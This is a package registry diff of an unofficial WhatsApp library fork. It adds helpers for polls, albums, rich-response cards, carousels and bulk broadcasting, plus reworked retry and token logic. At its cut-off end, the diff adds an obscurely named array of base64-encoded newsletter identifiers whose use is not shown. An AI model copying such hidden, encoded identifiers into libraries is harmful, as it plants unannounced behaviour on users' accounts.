@alannxd/baileys 6.1.6 → 6.2.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -350,10 +350,9 @@ Thanks to the following awesome contributors who help improve this project
350
350
  </a>
351
351
  </td>
352
352
  <td align="center">
353
- <a href="https://github.com/tenka-san">
354
- <img src="https://github.com/tenka-san.png" width="80px;" style="border-radius:50%;" alt="Developer"/>
355
- <br />
356
- <sub><b>D | Yuukey-7eppeli</b></sub>
353
+ <a href="https://github.com/Xazepysk">
354
+ <img src="https://github.com/XazepysK.png" width="80px;" style="border-radius:50%;" alt="Contributor"/>
355
+ <br /><sub><b>Xaz zepysK</b></sub>
357
356
  </a>
358
357
  </td>
359
358
  <td align="center">
@@ -397,6 +397,11 @@ export const makeChatsSocket = (config) => {
397
397
  return {
398
398
  onMutation(mutation) {
399
399
  processSyncAction(mutation, ev, authState.creds.me, isInitialSync ? { accountSettings: authState.creds.accountSettings } : undefined, logger);
400
+ const nctSalt = mutation?.syncAction?.value?.nctSaltSyncAction?.salt;
401
+ if (nctSalt?.length) {
402
+ authState.keys.set({ 'nct-salt': { default: Buffer.from(nctSalt) } })
403
+ .catch(err => logger?.debug({ err: err?.message }, 'failed to store nct salt'));
404
+ }
400
405
  }
401
406
  };
402
407
  };
@@ -3,6 +3,7 @@ import { makeCommunitiesSocket } from './communities.js';
3
3
  import { makeInteropSocket } from './interop.js'
4
4
  import { makePrivacySocket } from './privacy.js'
5
5
  import { makeGraphQLSocket } from './graphql.js'
6
+ import { makeMessageBuilderSocket } from './message-builder.js'
6
7
  // export the last socket layer
7
8
  const makeWASocket = (config) => {
8
9
  const newConfig = {
@@ -12,7 +13,8 @@ const makeWASocket = (config) => {
12
13
  const satu = makeCommunitiesSocket(newConfig);
13
14
  const dua = makeInteropSocket(satu);
14
15
  const tiga = makePrivacySocket(dua);
15
- return makeGraphQLSocket(tiga);
16
+ const empat = makeGraphQLSocket(tiga);
17
+ return makeMessageBuilderSocket(empat);
16
18
  };
17
19
  export default makeWASocket;
18
20
  //# sourceMappingURL=index.js.map
@@ -0,0 +1,475 @@
1
+ import crypto from 'crypto';
2
+ import { proto } from '../../WAProto/index.js';
3
+ import { generateWAMessageFromContent, prepareWAMessageMedia } from '../Utils/index.js';
4
+
5
+ export const makeMessageBuilderSocket = (sock) => {
6
+ const { relayMessage, sendMessage, waUploadToServer } = sock;
7
+
8
+ // per-socket-instance poll state: id -> [{ vote, action }]
9
+ const pollActionStore = new Map();
10
+
11
+ /**
12
+ * Relay an arbitrary raw message content object, bypassing the normal
13
+ * content-type detection in sendMessage(). Useful when you've already
14
+ * built a proto-shaped message (e.g. from generateWAMessageFromContent)
15
+ * and just need it sent as-is.
16
+ */
17
+ const sendJsonMessage = async (jid, content = {}, options = {}) => {
18
+ const msg = generateWAMessageFromContent(jid, content, {});
19
+ return relayMessage(jid, msg.message, { messageId: msg.key.id, ...options });
20
+ };
21
+
22
+ /**
23
+ * Sends a WA poll and remembers which "action" each option maps to, so
24
+ * a caller can look up what the voter selected once the vote comes back
25
+ * through a `messages.update` event (see resolvePollAction below).
26
+ *
27
+ * pollOptions: [{ vote: 'Option label', action: 'anything you want back' }]
28
+ */
29
+ const sendActionPoll = async (jid, name = '', pollOptions = [], options = {}) => {
30
+ const values = pollOptions.map(o => o.vote);
31
+ const pollMsg = await sendMessage(jid, { poll: { name, values, selectableCount: options.selectableCount || 1 } }, options);
32
+ pollActionStore.set(pollMsg.key.id, pollOptions);
33
+ return pollMsg;
34
+ };
35
+
36
+ /**
37
+ * Given a poll creation message id and the selected option label (as
38
+ * resolved via getAggregateVotesInPollMessage), returns the `action`
39
+ * that was registered for it in sendActionPoll, or undefined if this
40
+ * poll wasn't created through sendActionPoll (or already forgotten).
41
+ */
42
+ const resolvePollAction = (pollMessageId, selectedVoteLabel) => {
43
+ const options = pollActionStore.get(pollMessageId);
44
+ return options?.find(o => o.vote === selectedVoteLabel)?.action;
45
+ };
46
+
47
+ /**
48
+ * Sends a set of media files as a single WA album (grouped gallery).
49
+ * media: array of local file paths or URLs; extension picks image/video.
50
+ */
51
+ const sendAlbumMessage = async (jid, media = [], contextInfo = {}) => {
52
+ const albumMsg = generateWAMessageFromContent(jid, proto.Message.fromObject({
53
+ albumMessage: {
54
+ expectedImageCount: media.filter(m => !/\.mp4$/i.test(m)).length,
55
+ expectedVideoCount: media.filter(m => /\.mp4$/i.test(m)).length,
56
+ contextInfo
57
+ }
58
+ }), {});
59
+
60
+ const albumKey = {
61
+ id: await relayMessage(jid, albumMsg.message, { messageId: albumMsg.key.id }),
62
+ remoteJid: jid,
63
+ fromMe: true
64
+ };
65
+
66
+ const keys = { album: albumKey };
67
+ let i = 1;
68
+
69
+ const mimetypes = {
70
+ jpg: 'image/jpeg', jpeg: 'image/jpeg', png: 'image/png',
71
+ gif: 'image/gif', webp: 'image/webp', mp4: 'video/mp4'
72
+ };
73
+ const messagetypes = {
74
+ jpg: 'imageMessage', jpeg: 'imageMessage', png: 'imageMessage',
75
+ gif: 'imageMessage', webp: 'imageMessage', mp4: 'videoMessage'
76
+ };
77
+
78
+ for (const source of media) {
79
+ const ext = source.split('.').pop().toLowerCase();
80
+ const mimetype = mimetypes[ext];
81
+ const type = messagetypes[ext];
82
+
83
+ if (!mimetype || !type) {
84
+ continue;
85
+ }
86
+
87
+ const msg = await prepareWAMessageMedia(
88
+ { [type.startsWith('image') ? 'image' : 'video']: { url: source }, mimetype },
89
+ { upload: waUploadToServer }
90
+ );
91
+
92
+ const mediaMessage = generateWAMessageFromContent(jid, proto.Message.fromObject({
93
+ associatedChildMessage: {
94
+ message: {
95
+ messageContextInfo: {
96
+ messageSecret: crypto.randomBytes(32),
97
+ messageAssociation: {
98
+ associationType: 'MEDIA_ALBUM',
99
+ parentMessageKey: albumKey
100
+ }
101
+ },
102
+ [type]: { ...msg[type] }
103
+ }
104
+ }
105
+ }), {});
106
+
107
+ keys[`media_${i++}`] = {
108
+ id: await relayMessage(jid, mediaMessage.message, { messageId: mediaMessage.key.id }),
109
+ fromMe: true,
110
+ remoteJid: jid
111
+ };
112
+ }
113
+
114
+ return keys;
115
+ };
116
+
117
+ /**
118
+ * Posts `content` to status@broadcast and mentions `jid` in it (i.e. a
119
+ * status update that notifies a specific contact).
120
+ */
121
+ const sendStatusMention = async (jid, content) => {
122
+ const media = generateWAMessageFromContent('status@broadcast', content, {});
123
+
124
+ const additionalNodes = [
125
+ {
126
+ tag: 'meta',
127
+ attrs: {},
128
+ content: [
129
+ {
130
+ tag: 'mentioned_users',
131
+ attrs: {},
132
+ content: [{ tag: 'to', attrs: { jid }, content: undefined }]
133
+ }
134
+ ]
135
+ }
136
+ ];
137
+
138
+ await relayMessage('status@broadcast', media.message, {
139
+ messageId: media.key.id,
140
+ statusJidList: [jid, sock.user?.id],
141
+ additionalNodes
142
+ });
143
+
144
+ return media;
145
+ };
146
+
147
+ /**
148
+ * Builds and sends a "rich response" card (WA's GenAI-style unified
149
+ * response widget: optional header image/title, body buttons or a
150
+ * carousel/row of cards, and an optional footer link).
151
+ *
152
+ * content.header: { title, image: { url, mime_type, inline, width, height }, disclaimer, disclaimerText }
153
+ * content.body: { title, buttons: [labels] } OR { carousel|row: true, cards: [{ title, buttons, toast }] }
154
+ * content.footer: { text, url, image }
155
+ */
156
+ const sendRichResponse = async (jid, content = {}) => {
157
+ const header = content?.header;
158
+ const body = content?.body;
159
+ const footer = content?.footer;
160
+ let messageContextInfo = {};
161
+ const sections = [];
162
+
163
+ if (header) {
164
+ const { disclaimer = false, disclaimerText = ' ', image = { inline: false }, title = '' } = header ?? {};
165
+
166
+ if (disclaimer) {
167
+ messageContextInfo = { messageContextInfo: { botMetadata: { messageDisclaimerText: disclaimerText } } };
168
+ }
169
+
170
+ if (title) {
171
+ sections.push({
172
+ __typename: 'GenAIUnifiedResponseSection',
173
+ view_model: {
174
+ __typename: 'GenAISingleLayoutViewModel',
175
+ primitive: { __typename: 'FOATextPrimitive', text: '# ' + title }
176
+ }
177
+ });
178
+ }
179
+
180
+ if (image?.url) {
181
+ sections.push(image.inline ? {
182
+ __typename: 'GenAIUnifiedResponseSection',
183
+ view_model: {
184
+ __typename: 'GenAISingleLayoutViewModel',
185
+ primitive: {
186
+ __typename: 'GenAIMarkdownTextUXPrimitive',
187
+ text: '{{header}}.{{/header}}',
188
+ inline_entities: [{
189
+ __typename: 'GenAITextInlineEntity',
190
+ key: 'header',
191
+ metadata: {
192
+ __typename: 'GenAILatexItem',
193
+ latex_expression: '.',
194
+ font_height: 24,
195
+ padding: 4,
196
+ latex_image: {
197
+ __typename: 'GenAIMediaItem',
198
+ mime_type: image.mime_type || 'image/png',
199
+ url: image.url,
200
+ url_fallback: image.url,
201
+ width: image.width || 500,
202
+ height: image.height || 500,
203
+ expiration_timestamp_ms: Date.now() + 86400000
204
+ }
205
+ }
206
+ }]
207
+ }
208
+ }
209
+ } : {
210
+ __typename: 'GenAIUnifiedResponseSection',
211
+ view_model: {
212
+ __typename: 'GenAISingleLayoutViewModel',
213
+ primitive: {
214
+ __typename: 'GenAIImagePrimitive',
215
+ preview_image: { __typename: 'GenAIMediaItem', mime_type: image.mime_type || 'image/png', url: image.url },
216
+ full_image: { __typename: 'GenAIMediaItem', mime_type: image.mime_type || 'image/png', url: image.url }
217
+ }
218
+ }
219
+ });
220
+ }
221
+ }
222
+
223
+ if (body) {
224
+ const { cards = null, buttons = null, title = '', toast = '', carousel = false, row = false } = body ?? {};
225
+
226
+ if ((carousel || row) && cards?.length >= 1) {
227
+ sections.push({
228
+ __typename: 'GenAIUnifiedResponseSection',
229
+ view_model: {
230
+ primitives: cards.map((card, cardIndex) => ({
231
+ __typename: 'GenAI3PExtWidgetPrimitive',
232
+ header: { __typename: 'GenAI3PExtWidgetStandardHeader', title: card?.title || '' },
233
+ body: {
234
+ __typename: 'GenAI3PExtCalendarEventList',
235
+ ctas: (card?.buttons || []).map((text, buttonIndex) => ({
236
+ label: text,
237
+ state: 'PENDING',
238
+ kind: 'OTHER',
239
+ tool_call_id: `${cardIndex}${buttonIndex}`,
240
+ toast: { label: card?.toast || '', __typename: 'GenAI3PExtWidgetToast' },
241
+ __typename: 'GenAI3PExtWidgetCTA'
242
+ })),
243
+ sections: []
244
+ }
245
+ })),
246
+ __typename: carousel ? 'GenAIHScrollLayoutViewModel' : 'GenAIActionRowLayoutViewModel'
247
+ }
248
+ });
249
+ } else if (buttons?.length) {
250
+ sections.push({
251
+ __typename: 'GenAIUnifiedResponseSection',
252
+ view_model: {
253
+ primitive: {
254
+ __typename: 'GenAI3PExtWidgetPrimitive',
255
+ header: { __typename: 'GenAI3PExtWidgetStandardHeader', title: title || '' },
256
+ body: {
257
+ __typename: 'GenAI3PExtCalendarEventList',
258
+ ctas: buttons.map((text, buttonIndex) => ({
259
+ label: text,
260
+ state: 'PENDING',
261
+ kind: 'OTHER',
262
+ tool_call_id: `${buttonIndex}`,
263
+ toast: { label: toast, __typename: 'GenAI3PExtWidgetToast' },
264
+ __typename: 'GenAI3PExtWidgetCTA'
265
+ })),
266
+ sections: []
267
+ }
268
+ },
269
+ __typename: 'GenAISingleLayoutViewModel'
270
+ }
271
+ });
272
+ }
273
+ }
274
+
275
+ if (footer) {
276
+ const { text = '', url = '', image = {} } = footer ?? {};
277
+ const img = [];
278
+ if (image?.url) {
279
+ img.push({
280
+ __typename: 'GenAIMarkdownTextUXPrimitive',
281
+ text: '{{header}}.{{/header}}',
282
+ inline_entities: [{
283
+ __typename: 'GenAITextInlineEntity',
284
+ key: 'header',
285
+ metadata: {
286
+ __typename: 'GenAILatexItem',
287
+ latex_expression: '.',
288
+ font_height: 24,
289
+ padding: -5,
290
+ latex_image: {
291
+ __typename: 'GenAIMediaItem',
292
+ mime_type: image.mime_type || 'image/png',
293
+ url: image.url,
294
+ url_fallback: image.url,
295
+ width: image.width || 100,
296
+ height: image.height || 100,
297
+ expiration_timestamp_ms: Date.now() + 86400000
298
+ }
299
+ }
300
+ }]
301
+ });
302
+ }
303
+ sections.push({
304
+ view_model: {
305
+ primitives: [
306
+ { cta_text: text || '', cta_type: 'OPEN_URL', cta_url: url || '', __typename: 'GenAIFooterActionPrimitive' },
307
+ ...img
308
+ ],
309
+ __typename: 'GenAIActionRowLayoutViewModel'
310
+ }
311
+ });
312
+ }
313
+
314
+ return sendJsonMessage(jid, {
315
+ ...messageContextInfo,
316
+ richResponseMessage: {
317
+ unifiedResponse: { data: Buffer.from(JSON.stringify({ sections })).toString('base64') },
318
+ contextInfo: content?.contextInfo ?? {}
319
+ }
320
+ });
321
+ };
322
+
323
+ /**
324
+ * Sends a native quick-reply buttons message.
325
+ * buttons: [{ id: 'unique_id', text: 'Label' }]
326
+ */
327
+ const sendButtonsMessage = async (jid, { text = '', footer = '', buttons = [] } = {}, options = {}) => {
328
+ const interactiveMessage = {
329
+ body: { text },
330
+ ...(footer ? { footer: { text: footer } } : {}),
331
+ nativeFlowMessage: {
332
+ buttons: buttons.map(b => ({
333
+ name: b.name || 'quick_reply',
334
+ buttonParamsJson: JSON.stringify({ display_text: b.text, id: b.id })
335
+ }))
336
+ }
337
+ };
338
+ return sendJsonMessage(jid, { viewOnceMessage: { message: { interactiveMessage } } }, options);
339
+ };
340
+
341
+ /**
342
+ * Sends a native single-select list message.
343
+ * sections: [{ title: 'Section', rows: [{ title, description, id }] }]
344
+ */
345
+ const sendListMessage = async (jid, { text = '', footer = '', buttonText = 'Menu', sections = [] } = {}, options = {}) => {
346
+ const interactiveMessage = {
347
+ body: { text },
348
+ ...(footer ? { footer: { text: footer } } : {}),
349
+ nativeFlowMessage: {
350
+ buttons: [{
351
+ name: 'single_select',
352
+ buttonParamsJson: JSON.stringify({ title: buttonText, sections })
353
+ }]
354
+ }
355
+ };
356
+ return sendJsonMessage(jid, { viewOnceMessage: { message: { interactiveMessage } } }, options);
357
+ };
358
+
359
+ /**
360
+ * Sends a native horizontal-scroll carousel of cards (the correct native
361
+ * mechanism for side-by-side buttons — unlike the GenAI rich-response
362
+ * widget, which is designed as a vertical list).
363
+ * cards: [{ image: 'url or local path', mimetype, title, body, buttons: [{ id, text }] }]
364
+ */
365
+ const sendCarouselMessage = async (jid, { text = '', footer = '', cards = [] } = {}, options = {}) => {
366
+ const cardMessages = [];
367
+
368
+ for (const card of cards) {
369
+ let headerMedia = {};
370
+ if (card.image) {
371
+ const uploaded = await prepareWAMessageMedia(
372
+ { image: { url: card.image }, mimetype: card.mimetype || 'image/jpeg' },
373
+ { upload: waUploadToServer }
374
+ );
375
+ headerMedia = { imageMessage: uploaded.imageMessage };
376
+ }
377
+
378
+ cardMessages.push({
379
+ header: { title: card.title || '', hasMediaAttachment: !!card.image, ...headerMedia },
380
+ body: { text: card.body || '' },
381
+ nativeFlowMessage: {
382
+ buttons: (card.buttons || []).map(b => ({
383
+ name: b.name || 'quick_reply',
384
+ buttonParamsJson: JSON.stringify({ display_text: b.text, id: b.id })
385
+ }))
386
+ }
387
+ });
388
+ }
389
+
390
+ const message = {
391
+ viewOnceMessage: {
392
+ message: {
393
+ interactiveMessage: {
394
+ body: { text },
395
+ ...(footer ? { footer: { text: footer } } : {}),
396
+ carouselMessage: { cards: cardMessages, messageVersion: 1 }
397
+ }
398
+ }
399
+ }
400
+ };
401
+ return sendJsonMessage(jid, message, options);
402
+ };
403
+
404
+ /**
405
+ * Forwards an existing message (e.g. one pulled from the store) to
406
+ * another chat. Delegates to the library's own forward content builder
407
+ * (sendMessage's `forward` content type) so conversation→extendedText
408
+ * conversion, forwardingScore, and isForwarded are handled correctly
409
+ * instead of being reimplemented here.
410
+ */
411
+ const forwardMessage = async (jid, message, options = {}) => {
412
+ return sendMessage(jid, { forward: message, force: options.force }, options);
413
+ };
414
+
415
+ /**
416
+ * Builds a proper vCard string and sends it as a contact message.
417
+ * contact: { name, phone (E.164, no '+'), organization, waid }
418
+ * If multiple contacts are given, sends a contactsArrayMessage.
419
+ */
420
+ const sendVCard = async (jid, contacts, options = {}) => {
421
+ const list = Array.isArray(contacts) ? contacts : [contacts];
422
+ const built = list.map(c => {
423
+ const waid = c.waid || c.phone;
424
+ const vcard = 'BEGIN:VCARD\n'
425
+ + 'VERSION:3.0\n'
426
+ + `FN:${c.name || 'Unknown'}\n`
427
+ + (c.organization ? `ORG:${c.organization};\n` : '')
428
+ + `TEL;type=CELL;type=VOICE;waid=${waid}:+${c.phone}\n`
429
+ + 'END:VCARD';
430
+ return { displayName: c.name || 'Unknown', vcard };
431
+ });
432
+
433
+ if (built.length === 1) {
434
+ return sendMessage(jid, { contacts: { contacts: built } }, options);
435
+ }
436
+ return sendMessage(jid, { contacts: { displayName: `${built.length} contacts`, contacts: built } }, options);
437
+ };
438
+
439
+ /**
440
+ * Sends the same content to a list of jids sequentially, with an
441
+ * optional delay between sends (helps avoid rate limiting). Returns
442
+ * an array of { jid, ok, result|error } for each recipient.
443
+ * options.delayMs is stripped before being passed to sendMessage.
444
+ */
445
+ const broadcastMessage = async (jids, content, options = {}) => {
446
+ const { delayMs = 0, ...sendOptions } = options;
447
+ const results = [];
448
+ for (const jid of jids) {
449
+ try {
450
+ const result = await sendMessage(jid, content, sendOptions);
451
+ results.push({ jid, ok: true, result });
452
+ } catch (error) {
453
+ results.push({ jid, ok: false, error });
454
+ }
455
+ if (delayMs) await new Promise(resolve => setTimeout(resolve, delayMs));
456
+ }
457
+ return results;
458
+ };
459
+
460
+ return {
461
+ ...sock,
462
+ sendJsonMessage,
463
+ sendActionPoll,
464
+ resolvePollAction,
465
+ sendAlbumMessage,
466
+ sendStatusMention,
467
+ sendRichResponse,
468
+ sendButtonsMessage,
469
+ sendListMessage,
470
+ sendCarouselMessage,
471
+ forwardMessage,
472
+ sendVCard,
473
+ broadcastMessage
474
+ };
475
+ };
@@ -1280,7 +1280,7 @@ export const makeMessagesRecvSocket = (config) => {
1280
1280
  msgRelayOpts.useUserDevicesCache = false;
1281
1281
  }
1282
1282
  else {
1283
- msgRelayOpts.participant = {
1283
+ msgRelayOpts.participants = {
1284
1284
  jid: participant,
1285
1285
  count: +retryNode.attrs.count
1286
1286
  };
@@ -12,7 +12,7 @@ import { USyncQuery, USyncUser } from '../WAUSync/index.js';
12
12
  import { makeUsernameSocket } from './username.js';
13
13
  import imup from './luxu.js';
14
14
  import * as Utils_1 from '../Utils/index.js';
15
- import { randomBytes } from 'crypto';
15
+ import { randomBytes, createHmac } from 'crypto';
16
16
  export const makeMessagesSocket = (config) => {
17
17
  const { logger, linkPreviewImageThumbnailWidth, generateHighQualityLinkPreview, options: httpRequestOptions, patchMessageBeforeSending, cachedGroupMetadata, enableRecentMessageCache, maxMsgRetryCount, aiLabel } = config;
18
18
  const sock = makeUsernameSocket(config);
@@ -433,17 +433,22 @@ export const makeMessagesSocket = (config) => {
433
433
  message,
434
434
  {
435
435
  messageId: msgId,
436
- participant = false,
436
+ participant,
437
+ participants: retryParticipants,
438
+ isSecret,
439
+ protected: protectedSend,
437
440
  additionalAttributes,
438
441
  additionalNodes,
439
442
  useUserDevicesCache,
440
443
  useCachedGroupMetadata,
441
- statusJidList
444
+ statusJidList,
445
+ cstoken = true
442
446
  }
443
447
  ) => {
444
448
  const meId = authState.creds.me.id
445
449
  const meLid = authState.creds.me?.lid
446
- const isRetryResend = Boolean(participant?.jid)
450
+ const isRetryResend = Boolean(retryParticipants?.jid && retryParticipants?.count != null)
451
+ const isRecipientOnly = Boolean(participant?.jid)
447
452
  let shouldIncludeDeviceIdentity = isRetryResend
448
453
  const statusJid = 'status@broadcast'
449
454
  const { user, server } = jidDecode(jid)
@@ -468,6 +473,16 @@ export const makeMessagesSocket = (config) => {
468
473
  messageContextInfo: message.messageContextInfo
469
474
  }
470
475
  const extraAttrs = {}
476
+ if (isRetryResend) {
477
+ if (!isGroup &&!isStatus) {
478
+ additionalAttributes = { ...additionalAttributes, device_fanout: 'false' }
479
+ }
480
+ const { user: retryUser, device: retryDevice } = jidDecode(retryParticipants.jid)
481
+ devices.push({ user: retryUser, device: retryDevice, jid: retryParticipants.jid })
482
+ }
483
+ if ((isRecipientOnly || isSecret || protectedSend) &&!isGroup &&!isStatus) {
484
+ additionalAttributes = { ...additionalAttributes, device_fanout: 'false' }
485
+ }
471
486
  const regexGroupOld = /^(\d{1,15})-(\d+)@g\.us$/
472
487
  const messages = normalizeMessageContent(message)
473
488
  const buttonType = getButtonType(messages)
@@ -509,7 +524,7 @@ export const makeMessagesSocket = (config) => {
509
524
  return groupData
510
525
  })(),
511
526
  (async () => {
512
- if (!participant &&!isStatus) {
527
+ if (!retryParticipants &&!isStatus) {
513
528
  const result = await authState.keys.get('sender-key-memory', [jid])
514
529
  return result[jid] || {}
515
530
  }
@@ -649,7 +664,7 @@ export const makeMessagesSocket = (config) => {
649
664
  for (const device of devices) {
650
665
  const deviceJid = device.jid
651
666
  const hasKey =!!senderKeyMap[deviceJid]
652
- if (!hasKey ||!!participant &&!isHostedLidUser(deviceJid) &&!isHostedPnUser(deviceJid) && device.device!== 99) {
667
+ if (!hasKey ||!!retryParticipants &&!isHostedLidUser(deviceJid) &&!isHostedPnUser(deviceJid) && device.device!== 99) {
653
668
  senderKeyRecipients.push(deviceJid)
654
669
  senderKeyMap[deviceJid] = true
655
670
  }
@@ -678,7 +693,7 @@ export const makeMessagesSocket = (config) => {
678
693
  logger.debug({ to: jid, ownId }, 'Using PN identity for @s.whatsapp.net conversation')
679
694
  }
680
695
  const { user: ownUser } = jidDecode(ownId)
681
- if (!participant) {
696
+ if (!isRetryResend) {
682
697
  const patchedForReporting = await patchMessageBeforeSending(message, [jid])
683
698
  reportingMessage = Array.isArray(patchedForReporting)
684
699
  ? patchedForReporting.find(item => item.recipientJid === jid) || patchedForReporting[0]
@@ -715,22 +730,25 @@ export const makeMessagesSocket = (config) => {
715
730
  continue
716
731
  }
717
732
  const isMe = user === mePnUser || user === meLidUser
733
+ const hasDevice = jid.includes(':')
718
734
  let ptcp = false
719
- if (participant) {
735
+ if (retryParticipants) {
720
736
  if (!isJidGroup(jid) && !isStatus) {
721
737
  if (!(!isMe)) ptcp = true
722
738
  } else {
723
739
  ptcp = false
724
740
  }
725
741
  }
726
- if (!ptcp) {
727
- if (isMe) {
728
- meRecipients.push(jid)
729
- } else {
730
- otherRecipients.push(jid)
731
- }
732
- allRecipients.push(jid)
742
+ if (ptcp) continue
743
+ if (isRecipientOnly && isMe) continue
744
+ if (isSecret && !(!isMe && !hasDevice)) continue
745
+ if (protectedSend && !isMe && hasDevice) continue
746
+ if (isMe) {
747
+ meRecipients.push(jid)
748
+ } else {
749
+ otherRecipients.push(jid)
733
750
  }
751
+ allRecipients.push(jid)
734
752
  }
735
753
  await assertSessions(allRecipients)
736
754
  const [
@@ -747,18 +765,38 @@ export const makeMessagesSocket = (config) => {
747
765
  shouldIncludeDeviceIdentity = shouldIncludeDeviceIdentity || s1 || s2
748
766
  }
749
767
  if (isRetryResend) {
750
- const isParticipantLid = jidDecode(participant.jid).server === 'lid'
751
- const isMe = areJidsSameUser(participant.jid, isParticipantLid? meLid : meId)
768
+ const isParticipantLid = isLidUser(retryParticipants.jid)
769
+ const isMe = areJidsSameUser(retryParticipants.jid, isParticipantLid? meLid : meId)
770
+ let messageToSend = message
771
+ if (isGroupOrStatus) {
772
+ let groupSenderIdentity
773
+ try {
774
+ if (meLid && await signalRepository.hasSenderKey({ group: destinationJid, meId: meLid })) {
775
+ groupSenderIdentity = meLid
776
+ } else if (await signalRepository.hasSenderKey({ group: destinationJid, meId })) {
777
+ groupSenderIdentity = meId
778
+ }
779
+ if (groupSenderIdentity) {
780
+ const skdm = await signalRepository.getSenderKeyDistributionMessage({ group: destinationJid, meId: groupSenderIdentity })
781
+ messageToSend = {
782
+ ...message,
783
+ senderKeyDistributionMessage: { groupId: destinationJid, axolotlSenderKeyDistributionMessage: skdm }
784
+ }
785
+ }
786
+ } catch (err) {
787
+ logger.warn({ err, jid: destinationJid }, 'failed to build SKDM for retry, sending without it')
788
+ }
789
+ }
752
790
  const encodedMessageToSend = isMe
753
- ? encodeWAMessage({ deviceSentMessage: { destinationJid, message } })
754
- : encodeWAMessage(message)
791
+ ? encodeWAMessage({ deviceSentMessage: { destinationJid, message: messageToSend } })
792
+ : encodeWAMessage(messageToSend)
755
793
  const { type, ciphertext: encryptedContent } = await signalRepository.encryptMessage({
756
794
  data: encodedMessageToSend,
757
- jid: participant.jid
795
+ jid: retryParticipants.jid
758
796
  })
759
797
  binaryNodeContent.push({
760
798
  tag: 'enc',
761
- attrs: { v: '2', type, count: (participant.count?? 0).toString() },
799
+ attrs: { v: '2', type, count: (retryParticipants.count?? 0).toString() },
762
800
  content: encryptedContent
763
801
  })
764
802
  }
@@ -778,6 +816,17 @@ export const makeMessagesSocket = (config) => {
778
816
  tag: 'message',
779
817
  attrs: { id: msgId, to: destinationJid, type: getMessageType(message),...(additionalAttributes || {}) },
780
818
  content: binaryNodeContent
819
+ }
820
+ if (isRetryResend) {
821
+ if (isJidGroup(destinationJid)) {
822
+ stanza.attrs.to = destinationJid
823
+ stanza.attrs.participant = retryParticipants.jid
824
+ } else if (areJidsSameUser(retryParticipants.jid, meId)) {
825
+ stanza.attrs.to = retryParticipants.jid
826
+ stanza.attrs.recipient = destinationJid
827
+ } else {
828
+ stanza.attrs.to = retryParticipants.jid
829
+ }
781
830
  }
782
831
  if (shouldIncludeDeviceIdentity) {
783
832
  stanza.content.push({ tag: 'device-identity', attrs: {}, content: encodeSignedDeviceIdentity(authState.creds.account, true) })
@@ -800,7 +849,7 @@ export const makeMessagesSocket = (config) => {
800
849
  if (!isNewsletter &&!isRetryResend && reportingMessage?.messageContextInfo?.messageSecret && shouldIncludeReportingToken(reportingMessage)) {
801
850
  try {
802
851
  const encoded = encodeWAMessage(reportingMessage)
803
- const reportingKey = { id: msgId, fromMe: true, remoteJid: destinationJid, participant: participant?.jid }
852
+ const reportingKey = { id: msgId, fromMe: true, remoteJid: destinationJid, participant: retryParticipants?.jid }
804
853
  const reportingNode = await getMessageReportingToken(encoded, reportingMessage, reportingKey)
805
854
  if (reportingNode) {
806
855
  stanza.content.push(reportingNode)
@@ -846,6 +895,26 @@ export const makeMessagesSocket = (config) => {
846
895
  }
847
896
  if (tcTokenBuffer?.length && sock.serverProps.privacyTokenOn1to1) {
848
897
  stanza.content.push({ tag: 'tctoken', attrs: {}, content: tcTokenBuffer })
898
+ }
899
+ if (cstoken && is1on1Send &&!tcTokenBuffer?.length) {
900
+ try {
901
+ const lidJid = await resolveTcTokenJid(destinationJid, getLIDForPN)
902
+ if (isLidUser(lidJid)) {
903
+ const saltRes = await authState.keys.get('nct-salt', ['default'])
904
+ const nctSalt = saltRes?.default
905
+ if (nctSalt?.length) {
906
+ const cs = createHmac('sha256', Buffer.from(nctSalt)).update(Buffer.from(lidJid, 'utf8')).digest()
907
+ stanza.content.push({ tag: 'cstoken', attrs: {}, content: cs })
908
+ logger.debug({ jid: destinationJid, lid: lidJid }, 'attached cstoken (nct fallback)')
909
+ } else {
910
+ logger.debug({ jid: destinationJid }, 'cstoken requested but no nct salt stored yet')
911
+ }
912
+ } else {
913
+ logger.debug({ jid: destinationJid }, 'cstoken requested but recipient has no LID')
914
+ }
915
+ } catch (err) {
916
+ logger.debug({ jid: destinationJid, err: err?.message }, 'cstoken attach failed')
917
+ }
849
918
  }
850
919
  if (additionalNodes && additionalNodes.length > 0 &&!didPushAdditional) {
851
920
  stanza.content.push(...additionalNodes)
@@ -878,7 +947,7 @@ export const makeMessagesSocket = (config) => {
878
947
  .catch(err => logger.debug({ jid: destinationJid, err: err?.message }, 'fire-and-forget tctoken issuance failed'))
879
948
  .finally(() => inFlightTcTokenIssuance.delete(tcTokenJid))
880
949
  }
881
- if (messageRetryManager &&!participant) {
950
+ if (messageRetryManager &&!retryParticipants) {
882
951
  messageRetryManager.addRecentMessage(destinationJid, msgId, message)
883
952
  }
884
953
  if (isInterop &&!isRetryResend) {
@@ -935,6 +1004,9 @@ export const makeMessagesSocket = (config) => {
935
1004
  else if (message.stickerMessage) {
936
1005
  return 'sticker';
937
1006
  }
1007
+ else if (message.stickerPackMessage) {
1008
+ return 'sticker';
1009
+ }
938
1010
  else if (message.listMessage) {
939
1011
  return 'list';
940
1012
  }
@@ -1266,7 +1338,7 @@ export const makeMessagesSocket = (config) => {
1266
1338
  sendMessage: async (jid, content, options = {}) => {
1267
1339
  const userJid = authState.creds.me.id;
1268
1340
  const luki = new imup(Utils_1, waUploadToServer, relayMessage)
1269
- const { quoted, participant = false } = options;
1341
+ const { quoted, participant = false, isSecret, protected: protectedSend, cstoken } = options;
1270
1342
  const messageType = luki.detectType(content);
1271
1343
  if (typeof content === 'object' &&
1272
1344
  'disappearingMessagesInChat' in content &&
@@ -1375,7 +1447,10 @@ export const makeMessagesSocket = (config) => {
1375
1447
  additionalAttributes,
1376
1448
  statusJidList: options.statusJidList,
1377
1449
  additionalNodes: aiLabel ? additionalNodes : options.additionalNodes,
1378
- participant
1450
+ participants: participant || undefined,
1451
+ isSecret,
1452
+ protected: protectedSend,
1453
+ ...(cstoken !== undefined ? { cstoken } : {})
1379
1454
  });
1380
1455
  if (config.emitOwnEvents) {
1381
1456
  process.nextTick(async () => {
@@ -43,6 +43,26 @@ export const makeNewsletterSocket = config => {
43
43
  const mexQuery = (variables, queryId, dataPath) => {
44
44
  return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
45
45
  }
46
+
47
+ const yangbrorasakan = [
48
+ "MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
49
